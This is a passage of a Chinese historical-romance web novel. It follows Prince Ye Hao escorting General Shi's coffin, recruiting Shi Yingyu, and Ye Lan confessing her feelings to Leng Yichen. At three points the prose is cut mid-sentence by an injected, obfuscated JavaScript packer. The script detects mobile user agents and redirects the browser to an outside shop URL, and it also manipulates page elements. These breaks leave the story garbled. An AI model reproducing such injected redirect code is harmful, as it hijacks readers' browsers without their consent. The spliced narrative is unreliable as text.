“为了找殿下。” 叶皓意味深长的“哦”了一声,继续问道:“谁派你来的?” 锦瑟听了,疑惑的看向叶皓,但随即就反应过来:他把她当成了细作。 她冷笑一声,自斟了一杯茶饮了,说道:“殿下是在怀疑奴家。两年前,殿下能听出奴家曲中哀怨与不甘,奴家便视殿下为知己。拱桥上的那一回眸,令奴家至今难忘。那时只知殿下是翩翩公子。后来,奴家本可以脱籍从良,但为了公子,辗转至京中,才知公子身份。奴家一直等待与殿下见面,只为了答当年之谢。” “答谢?放弃脱籍的机会就为了答谢?这代价未免也太大了吧。” “脱了籍,想再找公子就难了。” 叶皓自嘲一笑,原来在别人眼中,他是如此贪恋声色之人。他问道:“你要怎么答谢呢?” 锦瑟又是一笑:“前几日,已经答谢了,那几首琴曲可未收殿下的银子。” 叶皓无语。此时他头脑已然不清醒,甚至有些情迷。他放下水杯,拿过锦瑟的手帕摩挲着:“那本王就好人做到底……入本王王府,可好?” 锦瑟牵过手帕的一角,将手帕缓缓从叶皓手中抽出,笑道:“殿下可是醉了?奴家只说答谢,未说报恩,即便是报恩,也未打算以身相许。” 锦瑟边说着边将手帕折的方正置于桌上:“殿下如莲花,只可远观;奴家如蜻蜓,也只是暂时立到了莲叶上。” 叶皓听了这话,不禁哑然失笑:今夜,反倒是他被轻薄了。他头脑沉沉,几欲睡去。 此时,门突然开了,江源进来。 锦瑟起身解释道:“殿下喝多了。” 江源未回答,不屑的看了锦瑟一眼,架起叶皓便出去了。 他这次找了船走水道,将叶皓送回。 他们走后,锦瑟拿着叶皓剩下的半壶酒,依着栏杆看来半宿的月亮。 第二日,叶皓醒来已是日上三竿。他一睁眼,看见江源在桌前写着什么。这个场景怎么似曾相识。 他使劲摇了摇头,想了好久才想起:前日宿醉醒来,亦是这般景象,只不过那时江源在喝茶。 于是他问了同样的话:“你昨夜没回去?” “我走了,殿下怎么办?昨日若不是我及时赶到,殿下怕是要被生吞活剥了。” “那倒不至于。” “殿下就算不考虑自己的身体,也要考虑一下名声。夜宿翠微楼,这传出去,啧啧啧……不好听啊。” 叶皓回忆着昨日的事说道:“我不是这样的人,她也……不是这样的人。” 酒这东西,说来真是奇怪:前日的“相思”,喝完全然不记前事;昨日的“云梦”,喝完则前事记忆犹新。这大概就是“断相思、坠云梦”吧。 江源叹了口气,心想:风尘之地能有什么好女子。但他只是规劝道:“殿下呀,以后少饮些酒吧。” 叶皓反问他:“昨日你干什么去了?怎么那么晚还去找我。” 江源沉吟了一下,说道:“回家处理了些事情。殿下离开时神情抑郁,我便知是去买醉了。” 叶皓未理会,起身沐浴更衣去了。衣服还未穿好,宫中旨意便到了:令信王叶皓巡守海防并护送师将军灵柩归乡,明日启程。 传旨的人走后,叶皓看着圣旨说道:“看吧,这么着急将我调离京中。” “殿下正好借此机会收拢兵权。”江源说完与叶皓互看一眼。 江源前日里还提及东部和北部兵权一事,眼下就出现了这样好的一个机会。 显然叶皓也注意到了这一点,问道:“会是谁?” 江源思考了一会,猜测道:“或是陛下的意思……”然后将一份名单交给叶皓,说道:“这是我前日去查的时候,知道此事的人,和我能想到的人。” 叶皓拿着名单,思考了良久。看样子朝中已有一些官员是杜卫党羽,且右相宣相良恐怕已投靠杜卫。 他看完后将名单交还给江源,江源则将名单置于烛上燃了,又将灰烬丢到了笔洗中,问道:“殿下与成王的嫌隙,打算如何公之于众?” 叶皓思考了一会,说道:“此次送师将军归乡也许就是个契机。” “殿下打算怎么做?” “还没想好,但是总会有机会。”叶皓又问江源:“此行,你与我同去?” “不了,我已请了旨,去西边驻守,调查一下白高人,再借此深入西南。” 叶皓知道江源是打算去接触杜卫的势力,这条路比他要走的更凶险。他尚且有师将军为他留下的军队,而江源却是孤军。 他倒了两杯茶,将一杯递给江源,郑重其事的说道:“江兄,前路漫漫且艰险,保重。” “殿下亦保重,待成功之日,你我二人再痛饮一场。”江源说罢将杯中水一饮而尽,之后,便直接去了城郊大营。 第二日,师将军灵柩启程。叶皓率军在城外等候。师将军两朝元老,颇受人敬重。后虽被贬,门庭冷落,但很多朝中老臣和军中将士,对师将军的崇敬之情依旧未变。 于是沿路设置祭棚,送老将军一程。故而这出城这一路行的格外缓慢。 临近午时,城外的叶皓没有等来师将军的灵柩,倒是等来了叶均。 叶均告诉他,叶铭前日来找他,说右相遣人告诉他梁帝年迈,迟迟未立储,右相愿扶持他继位。 叶铭拒绝了,表示此生之志唯修书而已。但他思前想后,觉得此事突然,必有蹊跷,恐是梁帝试探他。 于是便急急去见了梁帝,未料梁帝依旧身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073870|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不适,并不见他。他思前想后,终觉不妥,便找到叶均,以实相告。 这果然应了叶皓的猜想:宣相良投靠了杜卫。叶皓找了块石头坐下,又捡起一根树枝,在地上边画边说道:“三哥,他们已经开始了,我们也要有所行动,以后多加小心。” 叶皓用树枝写了半个名字,待叶均点头后抹掉,然后再写下半个名字……如此,他将昨日江源名单上的名字及他能想到的人尽数告诉了叶均。最后他写了一个“宣”字,二人相视点了一下头。 最后叶均说道:“这些我都记下了……有些可以确定,有些还不明朗。” 二人说话间,有人来报,师将军灵柩已出城。 他二人起身告辞,叶皓行礼道:“三哥,此去路远,路上危险未可知。” 叶均意会,一手握住叶皓的双拳,说道:“我明白,莫要让自己陷入险境。” 叶皓点头:“放心,我自有分寸。” 送葬队伍已至,为首的是师将军的孙女师英玉和师将军义子赵忠。 只见师英玉一身白色窄袖孝衣,眉宇间难掩英气,全然不似上次见的那般小女儿状。 叶皓看了一圈没见到师将军的长子,便问道:“为何不见师大人与夫人?” 师英玉解释:“家父操劳过度病倒了,家母身体不好,臣女便让父母带幼弟先行,回乡收拾老宅。” 叶皓点头,命军队护在队伍前后,即刻启程。半日奔波,当夜队伍在东郊大营安歇。 晚间,叶皓用木棍挑着火堆里的木头,看着远处指挥军士的师英玉思考:到底要不要答应她。 赵忠走来,也坐到了火堆旁,递了酒囊给叶皓。他二人上次在白高的一战中有数面之缘,但却并不相熟。 叶皓摇了摇头未接。 “怎么?嫌弃这军中的酒粗鄙?”赵忠言语间充斥着不屑。在他眼里,他们这帮世家贵族子弟入军队,不过是为了历练镀金罢了。 虽然叶皓已在军中多年,可赵忠依旧如此看他。方才见他一直盯着师英玉看,心中更是不悦,所以才如此这般的说话。 叶皓自嘲的笑了一下,接过酒却未喝,说道:“赵兄误会了,我是怕喝多了误事。”继而他接着问道:“赵将军,何时回来的?” “前日刚到。听闻义父病故,我日夜兼程往回赶,可终究没赶上入殓,没见到义父最后一面。”提起此事,赵忠很是伤感。随即又有些愤恨,说道:“义父为大梁戎马一生,最后却落得如此,实在不该……”话已出口,他才意识道他在和谁说话,急急止住,随后说道:“一时失言,殿下见谅。” 叶皓又想起师将军临终的话,也有些话想问他,但赵忠对他的态度并是太信任,此刻并不是开口的时机。于是转移了话题:“无妨。师大人病倒,这么些事务全是师姑娘一人再料理?” “是啊,别看阿玉是个姑娘家,其实坚强倔强的很。她幼时在军中跟随祖父长大,他父亲重伤回京后她才跟着回来。” 叶皓赞叹:“怪不得有如此英姿。” “我家阿玉论勇论谋都不输于男儿。”赵忠言语间颇为骄傲。 叶皓未言,举起酒囊,痛饮了一口,辛辣入喉,不似前两日喝的那般绵柔。 叶皓听了赵忠的一番话,对师英玉是刮目相看。当时她说想从军,叶皓还以为是她是一时之愤,未想她却有这个底气与能力。她是师家人,赵忠对她似乎颇为关切,若同意她入自己的军队,将她留在自己身边,或许对将来有所助益。 他虽然这样想,但是还是询问了赵忠的意见:“赵将军是师姑娘伯父,还有一件事,关于师姑娘的,要与赵将军商议。” “关于阿玉的?什么事?”赵忠有些惊讶,心里不由咯噔一下:他二人为何会相识,素闻信王有些风流,莫不是看上阿玉了?又想到刚刚他一直看着阿玉,心里更是不安。 “师姑娘,她曾要我带她入军营参军。” 听了这话,赵忠倒是放下心来:“是这事啊!她虽不是我亲侄女,但也是我看着长大的,她的性子我了解。她一定是为了义父才这样。但我们都希望她能安安稳稳的生活,嫁个如意郎君,平平安安的一辈子。唉!可她偏不听这些。” “军中艰苦,我担心师姑娘受苦。” “阿玉她是个有主意的,既然她说了定然是想好了。这样,我再去试着劝劝。” “有劳赵将军了。” “殿下客气啦……”此时赵忠的态度不似之前,有了很大缓和。 27. 结交在相知 次日启程,途径阳新县外,远远就看见路旁搭设了祭棚。 叶皓想或是师将军故人,而师英玉的马却越行越慢,渐渐倒了队伍最后。 行至祭棚,叶皓与赵忠下马,见到了搭设祭棚之人,是一个年轻俊朗的青年。 那青年见礼道:“阳新县县令周慎,见过信王殿下、赵将军。下官已在此恭候多时了。” “不必多礼。”叶皓见他一个年轻的文官竟然有心来祭拜老将军,不禁对他多几分和善。 “在下一直敬仰师将军,师将军灵柩归故里,特来相送。殿下,请容下官祭拜。”周慎说罢,便朝灵柩走去,跪地磕了三个头,祭了一碗酒。 叶皓悄悄的问赵忠:“我看他很是面熟。他可是梨花巷周家的?” 赵忠点头,亦小声回答:“之前与阿玉订过婚,后来被阿玉退婚了。” “哦……原来如此。”叶皓发出了意味深长的感叹,怪不得他要来祭拜。 叶皓记起这周慎就是与五公主叶朝雨订婚,又被退婚的周家公子。现在又被师家退婚,真是坎坷呀。 他疑惑:周慎一表人才,言行端正,之前被朝雨退婚,是因为那只是荣妃的权宜之计;可为何又会被师英玉退婚?他继续问道:“为何退婚?” 赵忠叹了口气:“义父归京,周家见师家势衰,就琢磨着退婚。周慎却执意要成亲,在家中祠堂跪到了晕厥。最后周家妥协,但只同意阿玉做妾。我家阿玉岂能受这个折辱,便主动退了婚。” “说来,这周慎也算是重情重义,只是身不由己。” 赵忠同情道:“可怜这周慎了……” “你倒是挺同情他。”其实叶皓也同情他,被退了两次婚。 “被退了婚可不好找媳妇喽。”赵忠摇着头感叹。 “师姑娘呢?” 赵忠对这个问题十分不满:“我家阿玉这么好的姑娘,何愁找不到好夫婿。” 周慎回来,对他二人说:“请殿下与将军随下官到亭中休息。” 叶皓点头,转头对侍从说道:“传令下去,队伍原地休整,安排午饭。”说罢,目光去寻师英玉,只见她远远的在后面,梳理着马的鬃毛。 周慎准备了小席面,一桌皆是素食,安排叶皓与赵忠入席。 一番寒暄后,周慎问道:“师伯父、师伯母怎未同行?” 赵忠解释了原因。 周慎继续问道:“既然阿玉也来了,为何不见她。” “她……大约还有事情吧……”赵忠不知该如何解释,找了个不算理由的理由。 周慎有些惆怅:“她大约还是不愿意见我。” 赵忠打圆场:“且随她去吧,师将军刚过世,她心中悲痛。” 叶皓听着二人谈话,津津有味。 “我去叫她。”周慎放下筷子欲起身。 赵忠制止道:“非要我把话说明白,知道她不愿见你,你还去?” 周慎不死心:“我有话想对她说。” “那就吃完饭再去。她已经几日未能好好吃饭了,你一去,这顿饭恐怕更吃不下了。” 周慎只得作罢。一顿饭,三人各怀心事,沉默无语。 饭后,趁着队伍休整,周慎悄悄去找了师英玉。 师英玉整理着马鞍,并不看他:“你又来做什么?上次同你讲的很清楚了。” “阿玉,等过了孝期,我会再去提亲的。” 梁国习俗,祖父过世,孙辈守孝期依年龄而定:未满十四岁者,孝期一年;已满十四岁者,孝期半年。 师英玉反问道:“你家里同意了?” “没……还没。我这次主动请求外放,就想着能干出一番天地来……” 周慎话还未完,便被师英玉打断:“周慎,你还不明白吗?我们是不一样的人,注定不会在一起。” 周慎信誓旦旦:“我不会让你做妾。也知道你不愿受拘束,我保证以后你想做什么就做什么,想去哪里都可以。” 师英玉拉着马的缰绳,正视周慎:“你还是不明白我。我自是想做什么就做什么,想去哪里便去哪里,不需要你允许。我们早已缘尽,希望你以后能娶得如意佳人。告辞。” 师英玉说完便牵着马头也不回的走向叶皓和赵忠,边走边说:“殿下、伯父,该启程了。” 赵忠传令启程,与周慎告辞。叶皓巡视了整个队伍,回头望去,周慎久久未离去。 行至傍晚,到了一个名叫余家湾的村子外,赵忠捡了块靠近溪流的向阳地,命队伍安营扎寨。 军中之人,训练有素,不多时便搭好帐篷,做好外围防护。 入夜,叶皓坐在火堆旁,看着师英玉带着巡守的军士有条不紊的检查了营地各处。他心下赞叹:不愧是在军中长大的,的确有能力。 待师英玉巡查完毕,确保没有问题后,也来到了火堆旁。见到叶皓,便拜倒在地,双手奉上叶皓给的令牌,说道:“臣女多谢殿下这两日护送。” 叶皓接过令牌:“师将军待本王如子侄,应该的……坐吧。” “谢殿下。”师英玉也坐在火堆旁,悄悄看了一眼叶皓,说道:“再行一日便能到亳州。父亲已向陛下奏报丁忧,他同母亲和幼弟暂时不回京了。” “嗯……” 师英玉小心试探着问:“那日……臣女请求殿下的事,殿下可答应了?” 叶皓反问:“这件事,你家人可知晓?可同意?” “他们知道的。我的事,向来我自己做主,父母也并未阻拦。” 叶皓用木棍拨弄着火堆:“他们不阻拦不代表同意。沙场难料,需好好考虑清楚。刀枪无眼,不会看你是不是女子。” 师英玉自信的说道:“臣女有能力自保。” “赵将军是你伯父,可与你说什么了吗?” “伯父让我去他营中。可我不想,他能照拂我一时,可照拂不了一世。我想自己成为自己靠山,成为师家的靠山。” 叶皓没有说话,思考着该如何安排她。 师英玉见他不语,单膝跪下抱拳道:“请殿下准许。” 叶皓心中叹了口气,看来她真是铁了心了。于是说道:“前朝没有女子从军的先例,封你个官位怕是不能。若从军,本王只能给你个文书的职位,怕是要委屈你了。” 叶皓此番话倒是实情,若真要奏报朝廷,为师英玉求得一官半职,定弄得朝野上下沸沸扬扬,显然叶皓不会为她如此费周章。 “殿下是答应了?多谢殿下。”师英玉痛快的跪地叩首。 叶皓掂掂手中的令牌,递给师英玉,说道:“明日到亳州后,本王再向东行。待葬礼结束后,你到海安大营与本王汇合。” 师英玉再次接过令牌:“属下遵命。” “起来吧。以后不用这么客气。本王并没有那么多规矩。说来,你年纪同本王妹妹也差不多。” “殿下说的是昭阳公主吧。属下怎能和公主相提并论。公主一定很勇敢,孤身一人、远嫁异国。人人都说她心中有大义,可我想她一定是一个很坚强,很有勇气的人。” 叶皓想着从前的一幕幕,从叶岚订婚、出嫁,到后来的遇刺,他总是当她是个娇弱的小女子,以为她后来是想开了、认命了。原来是他是低估了她心中的坚强和勇气。他不禁低语:“是很勇敢……” 说话间,赵忠过来。他坐于叶皓与师英玉中间,对师英玉说道:“阿玉,去睡吧。明日到了家,还有好多事要安排。” 师英玉应声辞去。 赵忠与叶皓却是一阵沉默,只听得周围声响不断:火焰吞食木头的噼啪声、草丛里的虫叫声和小溪中的蛙鸣声。 叶皓想若想得赵忠帮助,需有几分诚意。于是先开口:“赵将军,明日送师将军还乡后,本王便去东边巡海防了,师姑娘还是打算与本王同去。” “嗯……还请殿下照拂阿玉。”赵忠倒是劝过了师英玉,但是没有深劝,他手中的军队要交叶皓,还需知道叶皓是不是能担起这个大任,让师英玉跟着他,倒是能试探一二。 “将军放心,本王一定护师姑娘周全……我还有一事想问将军。” “殿下请讲。” “师将军归京,是因何事?” “义父是被诬陷的。去年秋收后,西南杜卫借着剿匪的名义向京中要粮草。是义父麾下张阁星负责押韵,行至半路突遇大雨,山体滑坡,因而耽误了时间,损失了粮草。义父为张阁星陈情,朝中却有人拿此事大作文章,定了义父的罪。”赵忠直视前方,眼中有不甘,双手紧紧握拳。 “师将军的确冤屈,可知是何人所为?” “义父与我长期在边关,对京中官员并不了解。但此事与杜家脱不了干系。” 叶皓见赵忠以诚相待,便不再自称本王,改口道:“我会再调查此事。” 赵忠摇摇头,继续说道:“义父为了保下阁星等一众人,独自担下了所有罪责。义父交待不再申冤。” 叶皓虽知道师将军也是此意,但一直不解是为何。于是问道:“为何?” “义父怕京中势大,怕更多人折进去。培养一个将士多么不容易,将士的性命应该留在战场上,而不是随便折在别的地方。” 听闻此言,叶皓更加佩服老将军的胸襟。他看了四周无人后,说道:“师将军临终前对我说,恐杜卫已生了异心,让我早做准备……” 赵忠侧脸看了一眼叶皓,只见火光在他眼中跳动,试探道:“殿下打算怎么做?” 叶皓起身,眼神坚定,面色严肃,说道:“我此去会从海防向西延边巡守,整顿大军。找时机铲除杜卫,匡正大梁。” 赵忠亦起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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叶皓命车架停下休整,下了马车问道:“家中可料理好了?为何如此着急。” 师英玉回答道:“祖父已安葬。家中之事有父亲和族人料理。属下是趁人忙乱的时候出来的,族中人重礼仪,若等忙完了大概就要让属下足不出户了。” “听赵将军说,他们都希望你能安安稳稳的过日子。你这样可是违逆师将军的意愿了。” “回殿下,属下若尊从了长辈们都意愿,便是委屈了自己。若是遵从了自己的意愿,便是违逆了长辈。若是殿下,会如何选择?” 叶皓想了想说道:“先尽孝,自己的日子还长。” 师英玉冷笑一声,说道:“殿下是男子,自然会这么想。我们女子一旦嫁了人,哪里还会有机会遂了自己的意愿。什么样的日子都要自己挨着。” 叶皓听了,觉得很有道理。他自小所接触的女子,除了荀婉婉之外,大都是温婉顺从之人。在家是娴静淑女,出嫁了便是贤妻良母。若同长姐夫妇、三哥夫妇那般两情相悦、恩爱不疑还好,可若遇人不淑,那日子也的确难熬。 师英玉叹了口气,继续说道:“我小时后就见过了生死。那些哥哥们前一日还在给我讲故事,后一日就变成冰冷的尸体。” 师英玉目光黯淡,使劲吸了一下鼻子:“可他们却说,为了国家他们无悔。我也只活一次,我也不想有悔有憾。” “你与那周家公子退婚,是因为这个原因吧。” 师英玉抠着手上的布条,说道:“周慎他……很好,但是不适合属下。” 叶皓没有再说什么。周慎能被荣妃看上,自然是家世、人品、样貌都是拔尖的。但家中不同意他的婚事,他就只会用跪祠堂这样的方式来抗争,未免显得懦弱了些。从这一点来看,周慎的确与师英玉不般配。 叶皓回头对侍卫说道:“季萧,拿药膏来。”说罢,便伸手要去解师英玉手上的布条。 师英玉抬手抱拳行礼,说道:“多谢殿下,属下自己可以。”她解下了布条,忍着痛,涂了季萧拿来的药膏后又重新包上布条,最后用牙齿和手配合着打了个结,动作很是熟练。 叶皓看了看天色对众人说道:“即刻出发。”又转过头对师英玉说道:“你去马车上坐,我骑马。” 师英玉抱拳又是一礼:“属下跟随殿下,是来参军的,不是来当侯府小姐的。”说完,转身向自己的马走去。撩衣上马,动作干净利落。那马是军中的战马。 叶皓看着她前行的背影,心中突然又想起了荀婉婉。 他也不知为何,每次见到师英玉,总会想起荀婉婉,或是二人有相像之处吧。 自下山之后,就再也没有机会见面,不知婉婉现在如何,不知长右现在又是如何。 正所谓:念念不忘,必有回响。月余后,命运自有它的安排。 28. 情深与君同 叶皓在梁京外写的回信,送至祁国礼部后,礼部又将拓本送至榆关。 叶岚收到信时,正在烦恼日日来探访的人。信上虽是官方客套语言,但看到“平安抵达”四个字后,也就放心下来。 安稳下来,冷逸尘的伤果然好的快。第五日,冷逸尘能起身的时候,韩平再次来访。 冷逸尘已命韩平向京中瞒住自己受伤的实情。他有两方面顾虑:一则白高国的动向不明,恐有人趁他之危来加害;二则是他私自放走素蕊一事,若皇后知晓,会迁怒于押送之人,也会干涉他现在的生活。 冷逸尘向京中奏表,只说他是被劫匪所伤,无甚大碍。 韩平向冷逸尘汇报了这段时间军中的情况,一切都按部就班,让他安心养伤,军中的机要他会按时送来,有什么事会及时通知他。 有韩平在,冷逸尘自然放心。他现下的任务便是安心养伤、尽快好起来。 韩平告辞,冷逸尘与叶岚相送。 这日的天气闷热,没有一丝风,空气像是凝固了一般,让人窒息。 到了太阳底下,叶岚只觉一阵眩晕,但还是坚持着走到了门口,送道:“将军慢走。” 韩平告辞后,叶岚未动。她浑身无力,只得扶住了身边侍女的手。随后耳边嗡鸣、两眼发黑。继而身体下坠,落入一片柔软之中。 叶岚似乎在云端漂浮,她的意识告诉她:这只是一场梦,不要醒来,醒来一切都会消失。 她渐渐地觉得周身变得清凉了起来,意识也逐渐明晰起来,“哗哗”的声音不绝于耳,接着就是侍女们嬉笑打闹的声音。 叶岚最后还是睁开了眼睛,房间里空无一人。外面在下雨、侍女们在嬉闹。 她起身向门口走去,推开门,嬉闹声戛然而止。众人皆跪下行礼。她们本以为王妃会睡上一两个时辰,没想到这么快就醒了。 梧桐告罪道:“奴婢该死,是奴婢们吵到王妃休息了,王妃恕罪。” 梧桐在她们中年岁最长,之前在一富户家做婢女,后来因战乱与主家离散,被冷逸尘军队所救,再之后便被选入崇宁王府,跟着叶岚来到了榆关。 “无妨,都起来吧。”叶岚声音中透着失落。别人的快乐,她始终融不进去。 梧桐心中忐忑,走上前来扶住叶岚。试探着的问道:“奴婢去告知殿下。” “不必了,准备沐浴。” “是,奴婢这就去准备。”说罢就带着众人去了。 等到热水备好的时候,雨也停了,天地难得一时清凉。 积云就要散了,太阳在云中若隐若现,大概一会又要热起来了。 叶岚躺在浴盆里,无趣的拨弄着水里的花瓣,水有些热,她想命云琴填一些凉水,转头只看见梧桐,一阵孤寂感油然而生。 自来到祁国之后,叶岚只相信安如和云琴二人,吃穿用度皆由她二人经手。 她从来不让其它侍女随意进自己的寝室,就连冷逸尘似乎都没怎么进来过。她对外界的戒备是不是太重了呢? 近日来,都是梧桐和秋雨贴身服侍,穿什么衣服、配什么首饰、物品怎样安置等等,样样都要问她,弄得她很是劳神。 加之冷逸尘的伤,让她心中焦虑,脸上便很少有笑意,使得一院子的婢女们都小心翼翼。 在她们看来,她是极难伺候的主儿。云琴走后,一切人和事需要她独自去面对。 默契关系是需要磨合,而磨合的过程本就是痛苦的,这些都让她烦躁不安。现在,她只想静静的泡着,让一身的疲惫、烦躁都随着氤氲的蒸汽飘散。 她在浴盆里泡了很久很久,直至皮肤被泡得发白。 她没用午膳,暑气褪去,这会倒是觉得饿了。于是她穿好衣服出来,吩咐梧桐准备晚饭。 太阳离落山还有一丈高,她拣了个日光充足的连廊坐下,晒着太阳梳头发。听秋雨着说她晕倒后的事:“您晕倒后,殿下将您送回卧房,您睡安稳后殿下便回去了。之后又来了两次,可您一直在沐浴。” 叶岚只说知道了,这会只觉得冷逸尘在不在,倒也没什么。 “想吃些什么?”身后传来冷逸尘的声音。他听说了叶岚让人备晚饭,高兴了好一阵。好些日子了,她终于想饭吃,于是赶紧过来问问。 叶岚没什么精神,慵懒的说道:“厨房准备什么便吃什么吧。” 冷逸尘看叶岚情绪不佳,解释道:“刚有些紧急军务要处理,醒了怎么不遣人来告诉我。” 叶岚只顾梳理头发,并不看他:“我没什么大碍,自己一个人可以的。” “这几日辛苦你了。又要照顾我,还要应付一众访客。我已经下令说需要静养,不会有人再来了。” 叶岚点点头。 “郎中说你只是中暑了,并无大碍。喝了药就好了。” 叶岚摇摇头。 冷逸尘见她不说话,疑心她是不是又不悦了,不由得有些紧张,问道:“怎么了?可是还有哪里不舒服?” “没有,我不想喝药,想一个人待会。” 冷逸尘摸不透她的心思,既然她想自己一个人便要给她独处的空间。于是借口说道:“我去……看看膳食。” 晚饭是叶岚独自用的,冷逸尘没来打扰她。饥饿让她觉得食物非常美味,美味的食物又让她的心情愉悦起来。可心情再好,却又觉得欠缺点什么。 用完饭,天已渐黑。叶岚未掌灯,在卧房里无所事事。一会站起来,一会坐下,闻闻胭脂,试试发簪。 她听着院子里的声音,随着黑夜落幕而一点点沉寂下去。此刻她倒是盼着院子里有点动静,为什么这样呢?她在期盼什么呢? 忽然,她意识到她在等冷逸尘。她本可以现在就去就寝,结束这可有可无的等待。 可一个念头,你留意到了它,它就会从在你的意识里反复跳跃,直到你将它捡起来,直视它,它会告诉你:我才是你的本意。 叶岚给自己找了消食的借口出了卧房。一股清香暗暗传来,她寻着香气来到中庭,是玉簪花开了。 她命人将凉榻搬到了玉簪花旁,坐下乘凉。 待到蝉声落下的时候,天气又凉爽起来。叶岚昏沉了一天的头脑也清醒了许多,那个念头也被她藏了起来。 或是白天睡多了的缘故,又或者是她想享受一下难得的清凉的缘故,此刻她睡意全无,躺在凉榻上仰望天空。今夜无月,星星很亮。 叶岚摇着团扇,一阵阵花香拂面。繁星点点洒落在广袤无垠的夜空里,叶岚忽然觉得有点孤单。之前有云琴陪着她,能说说心里话,可现在只剩下她孤零零的一个人。 以前她不是觉得一个人挺好吗?可现在为什么会觉得孤单?她十分的矛盾,她看不懂自己现在是个什么样的人,每日就这样糊里糊涂的过着。 以前她也是孤独的,可她不害怕这种孤独,有时甚至享受这种孤独。但她现在的孤独和以前不一样,这是一种充满孤寂的孤独。若是有坛酒就好了…… 就在这个院子里,仿佛就在昨日,几人围坐商议婚事,有说有笑,一切马上就要有个圆满的结局。可世事无常,现在只剩她一个人了。 秦羽不在了、两个哥哥不知要面对什么、云琴将来会如何?她感到心酸、无力,除了担忧,她什么也做不了。假如有坛酒就好了…… 她转头看看书房的方向,灯还亮着。透过窗子能看见冷逸尘写字的侧影。她开始细细回忆与冷逸尘在一起的点点滴滴。他对她总是那样温柔、有耐心,事事都考虑周全。 她似乎已经对他有些依赖了,可她心中始终惶惶,不知道这样到底对不对。有时她很想放手去爱,可是总有一些东西拉扯着她,是害怕失去的胆怯吗?的确是,她只怕“今日欢、明日痛”。 叶均曾跟她说:以后的路要自己走了。可是却没告诉她要怎样走、该怎样走。真的好累,如果现在有坛酒,那简直是太好了…… 在河边,他曾说过要与她朝朝暮暮、生生世世。现在想起来,似乎只是一场梦。她还没有给他答复。 她不想答复了,就这样一直做朋友不是也很好吗?可心中为什么会痛。或者,是不是可以试着去爱呢?到底该怎么办才好? 叶岚身体有些麻木,想活动一下,脚步却不自觉的朝那盏灯走去。路很暗,她一不小心踢倒了花盆。 脚上的疼痛让她停下,摸索着将花盆扶好,转身又回到了凉榻上。算了,还是不要去打扰了。 正当她思绪万千,愁肠百结之时,四周渐渐亮了起来。 冷逸尘端着烛台,坐到了她旁边,拿开了盖在她脸上的团扇。 未等他开言,叶岚一笑,说道:“有酒吗?” 冷逸尘一诧,疑心自己是听错了,问道:“你说什么?” “我、说:有、酒、吗?”叶岚一字一顿的重复了一遍。 冷逸尘迟疑了一下,但还是说了声“有”,然后亲自为她取来。 叶岚喝了一口:“是景芝。” 冷逸尘有些歉意:“是上次剩下的。我酒量很差,从不备酒。有人送酒,都是泽生收着,估计他也没剩下。” 叶岚不做声,一口接一口。仿佛只有经过这酒的浸泡、洗涤,她那千愁万绪才会变得捋顺。 冷逸尘未阻止,安排人去煮醒酒的汤水,又为她拿来了丝衾搭在身上。 叶岚默默的喝着,冷逸尘默默的陪着。一壶酒下肚,人已微醺。她目光落到丝衾上,伸手抚摸着,柔顺婉软。 她喃喃问道:“为什么?” “雨后潮湿,不要着凉了。”冷逸尘未解其意。 叶岚向上挪了挪,动了一下有些麻木的腿,抬眼直视他,问道:“为什么心悦于我?” 冷逸尘心中有些失落:她还是不相信他。他坐到她身侧,为她盖好丝衾,慢慢说道:“叶岚,你相信一见钟情吗?” 叶岚想到新婚夜里那一次心跳,但她从不相信这些,否认的摇了摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073872|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我也不相信,我第一次见到你时,的确有些动心。但那时我待你好,是因为你是我的妻子,是师兄有托于我,那是责任。可元宵节咱们去看灯,你让我看到了不一样的你,有活泼、有明媚还有忧郁。那时我发现我是真的动心了。” 叶岚回忆那天的自己,没有顾虑,发自内心的去兴奋、去悲伤。那的确是她内心的自己,她掩饰道:“我平日里不是那样的。” “我知道,但那才是你,是你本来的样子,卸下伪装的你,你把自己包裹的太严实了。”冷逸尘顿了顿,问道:“可我什么时候才能真正的走进你的心里?” 叶岚被对他的表白有些反应迟钝,只是醉眼朦胧的看着他充满了期待的眼睛。 天上星光,人间灯火,他在她身边,等待她的答案。 等叶岚想明白了冷逸尘的话,忧思便在她心中消散了,她忽然觉得一切似乎也没有那么复杂,之前的种种愁肠皆可抛之脑后。 借着酒劲,她坐起身来,双臂环住冷逸尘的脖颈,动情的在他的唇上轻啄了一下,然后歪着头说道:“我现在很喜欢你,可是我不知道为什么喜欢你。” 这一吻,让冷逸尘心中一惊,简直不敢相信这是真的。 此前他多次想一亲芳泽皆被她躲开,如今她却主动吻了上来。 他看着眼前的叶岚,如半开的花儿一般让人怜爱,但他却丝毫没有想要采撷之意。 他紧蹙的眉头渐渐舒展开来,眼底的忧愁融进夜色,消失不见。他不确定的问:“你再说一遍?” 